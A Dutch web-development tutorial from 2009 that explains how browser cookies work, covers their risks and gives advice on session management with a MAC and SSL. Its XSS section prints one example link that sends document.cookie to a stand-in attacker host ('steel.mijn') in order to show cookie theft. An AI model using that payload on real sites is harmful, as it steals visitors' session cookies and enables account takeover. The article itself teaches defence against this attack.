Koekje erbij?

Joor Loohuis, 16 november 2009, 6736 views.

Een eigenschap van browsers die veel gebruikt wordt, en tegelijk slecht begrepen is de mogelijkheid om informatie op te slaan in cookies. Verkeerd gebruik kan echter grote gevolgen hebben, en cookies hebben dan ook een slechte reputatie. Het is dus nuttig om eens in te gaan op de werking ervan.

Tags: , , , ,

De term cookie wordt historisch gebruikt voor gegevens die in een ondoorzichtige vorm worden uitgewisseld, maar essentieel zijn voor de werking van een toepassing. Browser cookies zijn niets anders dan een klein stukje informatie dat een webapplicatie door de browser van een bezoeker kan laten opslaan en terugsturen. De reden hiervoor is dat HTTP een protocol is dat zoals dat heet 'stateless' is. Er is geen 'geheugen' tussen twee opvolgende requests tussen de browser aan de ene kant en de webserver met de daarop draaiende webapplicatie aan de andere kant, en dat kan heel lastig zijn. Cookies zijn als Netscape extensie in het leven gekomen om hier wat aan te doen.

Omdat cookies gecontroleerd met requests worden meegestuurd wordt het voor de webapplicatie mogelijk om een beetje informatie aan een reeks requests te koppelen, zodat die opeens wel samenhangend kunnen worden behandeld. Een typisch voorbeeld hiervan is het onthouden van een inlogsessie, maar er zijn veel meer toepassingen, zoals het onthouden van gebruikersvoorkeuren.

Laten we eerst eens kijken naar hoe een cookie in elkaar steekt, en hoe het gebruikt wordt. Een cookie wordt in requests uitgewisseld in de HTTP header, en is dus feitelijk een stukje tekst met een voorgeschreven opbouw. Uit die opbouw kunnen een aantal velden worden gehaald die samen de cookie vormen. Deze velden zijn:

  • name, value: een cookie heeft een naam die de cookie herkenbaar maakt, en eventueel een waarde in de vorm van een string. De naam is het enige verplichte veld in een cookie, zelfs de waarde mag leeg blijven.
  • expires: de vervaldatum van een cookie, waarna de browser normaal gesproken de cookie niet langer zal meezenden met requests, en zal verwijderen uit de opgeslagen lijst. Een speciaal geval is een leeg of niet gezet 'expires' veld, wat de browser instrueert om de cookie te verwijderen bij het sluiten van de browser.
  • path: het pad waarvoor de cookie geldig is binnen een website. Hiermee is het mogelijk om een cookie te beperken tot een specifiek deel van de website. Merk op dat een leeg pad inhoudt dat de cookie alleen geldig is voor de URL van de applicatie die de cookie heeft gegenereerd, niet voor de hele site.
  • domain: het domein waarvoor de cookie geldig is, standaard het volledige domein waar de applicatie draait die de cookie genereert. Het is niet mogelijk deze waarde te zetten tot een andere domeinnaam, en in de regel zijn aanpassingen hierin alleen nodig voor opstellingen waar meerdere webservers nodig zijn om een domein te hosten, of een webapplicatie over meerdere subdomeinen is verdeeld.
  • secure: een vlag die aangeeft of een cookie alleen gebruikt mag worden onder beveiligde omstandigheden, zoals SSL. De standaardwaarde is uit, wat inhoudt dat de cookie altijd mag worden gebruikt.
  • HttpOnly: een extensie op de cookie specificatie die alleen in nieuwe browsers wordt ondersteund, die de toegang tot de cookie vanuit de browser verhindert. In oudere browsers wordt een cookie met dit veld gedegradeerd tot een reguliere cookie, of volledig geweigerd.

Een typische Set-Cookie header die door een server wordt verzonden ziet er als volgt uit:

Content-type: text/html
Set-Cookie: APPLANG=nl; path=/; expires Tue, 01-Dec-2009 13:46:00 GMT

Deze cookie heeft dus een naam APPLANG met waarde nl, is voor de hele site geldig, en vervalt op 1 december 2009 in de middag. Als de browser een cookie retourneert naar de server bevat dat alleen de naam en waarde:

Content-type: text/html
Cookie: APPLANG=nl

In de regel zal je niet zelf rommelen met de feitelijke header string die voor een cookie wordt gebruikt, aangezien alle voor webapplicaties gangbare talen abstracties bieden die het gebruik van cookies vereenvoudigen. Raadpleeg de documentatie van je favoriete taal over het zetten en uitlezen van cookies, hier beperken we ons tot de werking van de cookies zelf.

Een speciaal geval in het werken met cookies is het verwijderen van cookies uit de browser van de bezoeker. Dat krijg je voor elkaar door het 'expires' veld in een cookie op een datum in het verleden te zetten. Om zeker te zijn dat de in de cookie opgeslagen informatie niet langer beschikbaar is doe je er goed aan ook de waarde leeg te maken. Uiteraard zijn er ook wat beperkingen op het gebruik van cookies. Een cookie mag in zijn geheel niet groter zijn dan 4096 bytes, en per domein mag je niet meer dan 20 tot 50 cookies zetten, afhankelijk van de browser die wordt gebruikt. Heb je meer nodig, dan zit je toepassing waarschijnlijk niet goed in elkaar.

Cross-site scripting

Je kan uiteraard alleen cookies zetten voor het domein waar je applicatie onder gehost is. Dit wil echter niet zeggen dat je cookies niet gelezen kunnen worden door applicaties die draaien onder andere domeinen. Een vorm van cross-site scripting (XSS) is bijvoorbeeld gericht op het onderscheppen van cookies, die normaal alleen tussen een browser en de server moegen worden uitgewisseld. Het is echter vrijwel altijd mogelijk om cookies in JavaScript uit te lezen. Stel je nu voor dat er een site is die het op de een of andere manier mogelijk maakt voor gebruikers om tekst in te voeren die dan op de pagina wordt getoond, zoals een gastenboek, een forum of een wiki. Als deze tekst niet goed wordt opgeschoond zou het mogelijk zijn voor een cracker om een handig gevormde link op de site te laten zetten, bijvoorbeeld:

<a href="#" onclick="window.location='http://steel.mijn/cookie.php?text=' +
escape(document.cookie); return false;">Foto's van Kylie!</a>

Als deze link werkend in de site komt te staan, worden van iedere onoplettende bezoeker die erop klikt de cookies naar een applicatie gestuurd die deze vervolgens zou kunnen opslaan. Afhankelijk van welke informatie in de cookies staat kan hier misbruik van worden gemaakt. De kans is bijvoorbeeld groot dat de oorspronkelijke site ook op andere vlakken onvoldoende beveiligd is, en de cracker zich op de site dan als iemand anders kan voordoen. Merk op dat dit maar een heel eenvoudige vorm van cookie diefstal is via XSS. In de realiteit zijn er vele zeer geavanceerde vormen van misbruik van cookies bekend. Los van het gebruik van cookies is het heel belangrijk om alle informatie die een gebruiker in een webapplicatie kan invoeren goed te controleren en 'url encoded' weer te geven om XSS attacks tegen te gaan. Merk op dat je niet kan vertrouwen op de HttpOnly extensie op cookies, omdat die door veel in gebruik zijnde browsers niet wordt ondersteund.

Sessiebeheer

Een veel voorkomende toepassing van cookies is er een identificatie in te zetten die op de server kan worden gebruikt om informatie op te zoeken die bij de request hoort, bijvoorbeeld omdat die bij een vorige request van dezelfde gebruiker is opgeslagen. Dat maakt het onder meer mogelijk om in te loggen in een site. Tien jaar geleden was het de gewoonste zaak van de wereld om die informatie direct in de cookie zelf op te slaan, met serieuze gevolgen. De juiste manier om een dergelijke sessie te beheren, is door alleen een identifier in de cookie te zetten, maar dit is niet altijd voldoende. Stel namelijk dat die identifier in handen valt van een persoon die weet hoe een HTTP request te produceren dat beweert een voortzetting van de sessie te zijn, maar heel ergens anders vandaan komt, zogenaamde 'session hijacking'. Dan liggen alle gegevens alsnog op straat. Er moet dus gecontroleerd worden of de browser die een cookie stuurt wel is wie die beweert te zijn, bijvoorbeeld met een MAC (message authenticity code). Dat is een stukje aanvullende informatie dat in dit geval controleert of er niet met de waarde van de cookie is gerommeld. Een MAC kan je baseren op een combinatie van een stukje informatie dat de browser identificeert en een stukje informatie dat alleen de server weet (een 'geheim'), samengevoegd in bijvoorbeeld een MD5 hash. Omdat een potentiele aanvaller de MAC niet kan reproduceren, kan deze de sessie niet overnemen. De webapplicatie kan deze echter regenereren en daarmee de geldigheid van een session cookie controleren. Merk echter op dat dit soort beveiligingen niet los staan van andere beschermingsmiddelen zoals de toepassing van SSL, wat het kapen van sessies aanmerkelijk moeilijker maakt.

Suggesties

Ter afsluiting een paar suggesties voor de toepassing van cookies:

  • Beperk cookies tot waar je ze nodig hebt. Zet het pad zo specifiek mogelijk, en zet de vervaldatum niet langer dan nodig, bij voorkeur blijft die leeg.
  • Sla nooit gepersonaliseerde informatie op in cookies. Een cross-site scripting attack zou deze informatie kunnen laten uitlekken.
  • Pas op sessie cookies een MAC toe, zodat de sessies niet gekaapt kunnen worden. Gebruik SSL voor sites met authenticatie.

Cookies spelen een belangrijke rol bij de juiste werking van webapplicaties, en als ze verantwoordelijk worden gebruikt is er geen dringende reden om ze uit de weg te gaan.

NB: Dit artikel is eerder verschenen in Linux Magazine nummer 2 van 2007.

Creative Commons License Op dit werk is een Creative Commons Licentie van toepassing.
Social networking: Tweet dit artikel op Twitter Geef dit artikel door op LinkedIn Bookmark dit artikel op Google Bookmark dit artikel op Yahoo! Bookmark dit artikel op Technorati Bookmark dit artikel op Delicious Deel dit artikel op Facebook Digg dit artikel op Digg Zend dit artikel naar to Reddit Geef dit artikel een duim omhoog op StumbleUpon Zend dit artikel naar Furl

Talkback

reageer op dit artikel